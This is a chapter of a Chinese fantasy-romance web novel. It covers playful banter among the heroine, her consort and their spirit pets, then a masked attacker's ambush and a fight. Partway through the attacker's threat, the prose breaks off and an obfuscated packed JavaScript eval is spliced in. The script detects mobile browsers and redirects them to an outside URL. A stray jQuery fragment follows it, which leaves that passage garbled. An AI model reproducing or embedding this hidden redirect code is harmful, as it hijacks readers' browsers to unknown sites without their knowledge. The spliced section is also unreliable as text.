第365章 不是不让你对宋鸾镜动手么!

作品:《蛊仙娘娘

    小凤:“……主人你变了,你变得、比凤脸皮好厚!”


    我伸手让小凤落过来,宠溺地揉揉小凤脑袋:“乖乖,等了我这么多年,辛苦你了。”


    小凤可可爱爱地歪头用脑袋拱我指腹撒娇:“主人~”


    “什么老黄花菜。”青漓很不高兴地拍我脑门子:“哪有姑娘这么形容自己的。”


    我抱着小凤笑说:


    “总要适应咱俩这个年龄差嘛。我还好,你得适应适应,万一以后你嫌我老……


    毕竟,我是个不知已经活了多少年的老怪物,而阿漓你还是男人两千岁一枝花。我们这年龄差,


    就好似一个十七八岁的小伙子整天和一个**十岁的老太婆同床共枕,我怕你心里承受不住。”


    “浑说。”青漓黑着脸将小凤从我怀里拎走,扔出去。


    小凤被抛飞的同时扑棱着翅膀飞起来,勉强稳住身形,很不爽的冲青漓蹬踹一对小鸟爪子:


    “啊啊啊,帝君!你过分了!你怎么能把小凤从主人怀里丢出来呢,先来后到懂不懂!”


    一句话没说完,青漓就已经将我扯起身,抢走我的座位,并揽着我的腰将我捞进了怀里,把我按坐在了他腿上——


    “叽叽喳喳的,夫人养只什么不好,偏要养只碎嘴子小鸟。”


    青漓冷脸无情地扎小凤心,完全抛开了自己从前的高冷帝君形象,低头枕在我的胸口,厚着脸皮与小凤争宠:“还是养为夫比较好。”


    执起我的手,放在唇边呵气温暖:“为夫不吵阿鸾,为夫还能给阿鸾暖被窝,为夫疼阿鸾,阿鸾,为夫是不是比这只小碎嘴子强很多?”


    小凤:“……”


    被他气得**都要炸开了,想冲过来咬青漓,但又害怕被青漓一巴掌呼飞出去,只能咬牙忍无可忍的冲青漓背影挥翅膀蹬爪子:


    “哇呀呀呀——帝君你不要脸!你和宠物争宠!帝君你过分,小凤和你能一样吗!


    小凤也想给主人暖被窝,可是,是谁上次威胁小凤再敢偷偷钻主人的被窝,就让仇惑把小凤一屁股坐死的!


    啊,没天理啊,凤只是一只弱小、无助、可爱、乖巧、长得漂亮的小鸟,都有人欺负,道德的沦丧,神性的泯灭,呜呜老紫,你主人又欺负我——”


    紫蛇这个宠妻狂魔平日最听不得小凤哭,听见小凤喊他,顶着一身蛇皮直接就一溜烟从二楼圆月窗后飞了出来——


    “凰凰!”


    飞天雪蛇落地化成紫袍青年模样,接住冲过去找他诉苦的小凤,为难地昂头请求青漓道:


    “帝尊,你就别逗我媳妇了……我媳妇气性大,你别将她气出个好歹。我媳妇要是有个三长两短,你最忠心、最踏实诚恳、最勤劳能干的下属我,也不想活啦!”


    仇惑推开二楼房间的木窗,居高临下的调侃紫蛇:“啧,你能别自恋了吗?你什么时候成帝尊最踏实勤劳的下属了?帝尊,揍小凤凰一顿,给紫蛇点颜色瞧瞧。”


    小凤暴脾气的从紫蛇怀里探出头,伸翅膀直指楼上仇惑:“竹叶青!你给老娘等着!等会别走!”


    刚给孩子温完牛奶的云婼拿着奶瓶从厨房出来,憋不住笑道:“仇惑这是怎么惹到小凤凰了?前几天还是老仇,今天怎么就变成竹叶青了?”


    白术哄着怀里咿呀学语的小凝儿,拿一蛇一鸟没法子地说出实情:


    “他啊,该!谁让他昨晚把小凤按在被子里,现原形和紫蛇打架,虽然是打着玩,但禁不住人家紫蛇现在也是有人心疼的主了。


    仇惑昨晚把紫蛇打得连连求饶,小凤凰被困在被子里看不清状况,以为紫蛇受欺负了,直接破被而出,一巴掌把仇惑从二楼窗户扇摔了下来,仇惑今早还在嚷着屁股疼呢……”


    “难怪小凤凰现在一副想咬死仇惑的表情。”云婼无奈摇头。


    阿乞带着大宝二宝还在院墙外头爬树摘枣子,我阖目,抬手环住青漓的脖子。


    只有在青漓身畔,才能感受到落至实处的心安。


    寒风卷着枝头稀稀零零的乌黑烂叶,我轻轻往他眉心朱痕处,吻了一下。


    “希望明年今日,我们大家还能聚在这里,吹风,看雪……”


    箍在腰上的手臂又紧些。


    他向我软声承诺:“鸾儿,会的。”


    小凤闻言也低垂下脑袋,片刻,打起精神道:“会的!明年,后年,只要帝君和主人还想回来,我们年年冬天都可以在这座院子里看雪!”


    仇惑也道:“别明年了,今年除夕还没过呢……今年过年,咱们就在家里过好不好?往年在神宫过得可没意思。”


    紫蛇兴奋道:“就是啊!对了鸾镜妹子,咱们今年过年,找族老村长们商量一下,在族里举办个庙会吧!”


    “庙会!”翻上墙头的阿乞两眼放光:“好啊好啊!我也想看庙会了,上次族里大庙会还是十年前!还找族老们商量干啥啊,阴苗族的祖宗圣女就在咱们这,谁说话也没有她说话好使啊!”


    “对哦!云婼妹子,庙会!”


    “今年我要看游神!”


    “还有上刀山下火海,火龙舞!”


    “我也要我也要!我要看……看放烟花!”


    ——


    阴苗族有折桃枝为孕中儿祈福的习俗。


    虽说,李大叔只能算半个阴苗族人,银杏不属阴苗族,但他们父女已经在阴苗族生活二十多年了。


    入乡随俗,李大叔与银杏这些年一直随我们过着阴苗族的传统节日,现在银杏怀孕了,我这个好友兼孩子小姨,也该给孩子把东西准备上了。


    九黎山东面向阳,东坡的桃树枝亦是阳气最重,辟邪效果最好的。


    我出门折桃枝那会子小凤本是嚷嚷着要同我一起来的,可刚出门就被紫蛇那个没良心的用两包辣条哄了回去。


    小凤舍不得辣条,又想跟我一起出门,就左右为难地选择先去紫蛇那边抢辣条,回头时还不忘挥舞着小翅膀招呼我走慢些,等着她。


    等她将辣条抢到手了再来追我。


    然,我这一等,直到我将九截桃枝折好了,都从东面山坡上下来了。


    也没见到小凤那只不靠谱的小鸟身影……


    只不过,没等到小凤,却先等到了一位不速之客……


    我刚走上回家的土路,就猛觉背后一股寒气迅速逼近。


    我顿住,下一秒,剑刃抵至我的后背。


    紧接着,就是男人压低嗓音阴恻恻的威胁:“不想死,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123927|178489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就乖乖跟我走。”


    尽管对方刻意压粗了声线……可这声音,我还是敏锐察觉到两丝似曾相识之感。


    身后男人得意冷笑:“抓了你,我就不信他不主动来找本王!”


    他……


    是青漓?


    话音落,他抬掌就要打晕我。


    但现在的我早已不是两个月前的小菜鸡宋鸾镜了,就算没有西王母的神力,我也是个有三百年道行的仙人!


    更何况,我还有凤凰翎法器!


    阴寒刺骨的掌风向我脊背袭来的那一瞬,我猛地转身,抬手施法引出净世凤凰羽,操控法器径直朝他刺去。


    他一惊,既怕被我看见脸,又要仓促躲避我打出去的法器。


    一手抬起以袖遮容,一手**法力阻挡凤凰羽逼近。


    可终归还是挡晚了一步。


    凤凰羽十分利落地刺穿他右肩,从他后背飞出——


    他再放下墨色宽袖,脸上已经多了层红**绘恶魔面具。


    倒是聪明,用桧木所制的恶魔样式面具遮脸,整个面部只露出一双眸光犀利的漆色瞳子,罩得这么严实,鬼都猜不出他到底是谁!


    但……他方才的声音,还是暴露出了一丝蛛丝马迹。


    被我用凤羽法器刺伤后,一袭墨袍青发过腰的鬼面男人恼羞成怒的摸摸肩膀,看了眼指腹沾染上的灼灼鲜血,咬牙切齿的提剑就再次朝我砍来:“**!我现在就杀了你!”


    我警惕的迅速再次施法控制凤羽法器,用上古神器将鬼面男人挡在五米开外。


    凤羽在鬼面男人跟前飞出残影,我亦趁机化出凤凰笛,猛一挥袖,长笛在手中化作一柄寒光凛凛的利剑。


    我执剑刺向鬼面男人,鬼面男人一惊,收剑格挡住我刺过去的那一招。


    凤凰翎配合着我对付鬼面男人,我剑法娴熟的抓住剑柄,对男人步步紧逼。


    男人被我与凤凰翎打得踉跄后退,不服输地咬牙怒骂:“该死!不过两个月时间,你怎法力增强了这么多!”


    “想杀我,白日梦!我倒要看看你究竟是谁!”我拧眉,手快的一剑刺向他的面具,剑刃用力一掀——


    谁承想,面具飞向天空,墨发挡面飞舞的那一刹,另一道青灰色身影陡然出现在我眼前,挡住了我的视线,做贼心虚地出招假装保护我。


    “什么人!不许伤害鸾镜!”


    谢妄楼抬掌击退男人,不等男人反应过来,便再次出招,急着将男人逼退,拉开我们的距离,以身挡住男人的正脸。


    “你发什么疯!”男人一时情急连压粗嗓音都忘记了,原形毕露地疾声质问谢妄楼。


    谢妄楼故意将男人逼去远处交手,以为只要离得足够远,他们的对话我就听不见了。


    殊不知……


    由于我恢复了前世的三百年修为,所以我眼神好,且,托前前世的福,我会读唇语。


    谢妄楼以手臂按住男人脖子,将男人抵在不远处的槐树树干上,为了帮男人隐瞒身份,特意让男人背向我,而他正好面向我时,他着急忙慌动唇和男人说的那番话,我全都读出来了——


    他说:“疯了的人是你才对!”


    “我不是警告过你,不许对宋鸾镜动手么!”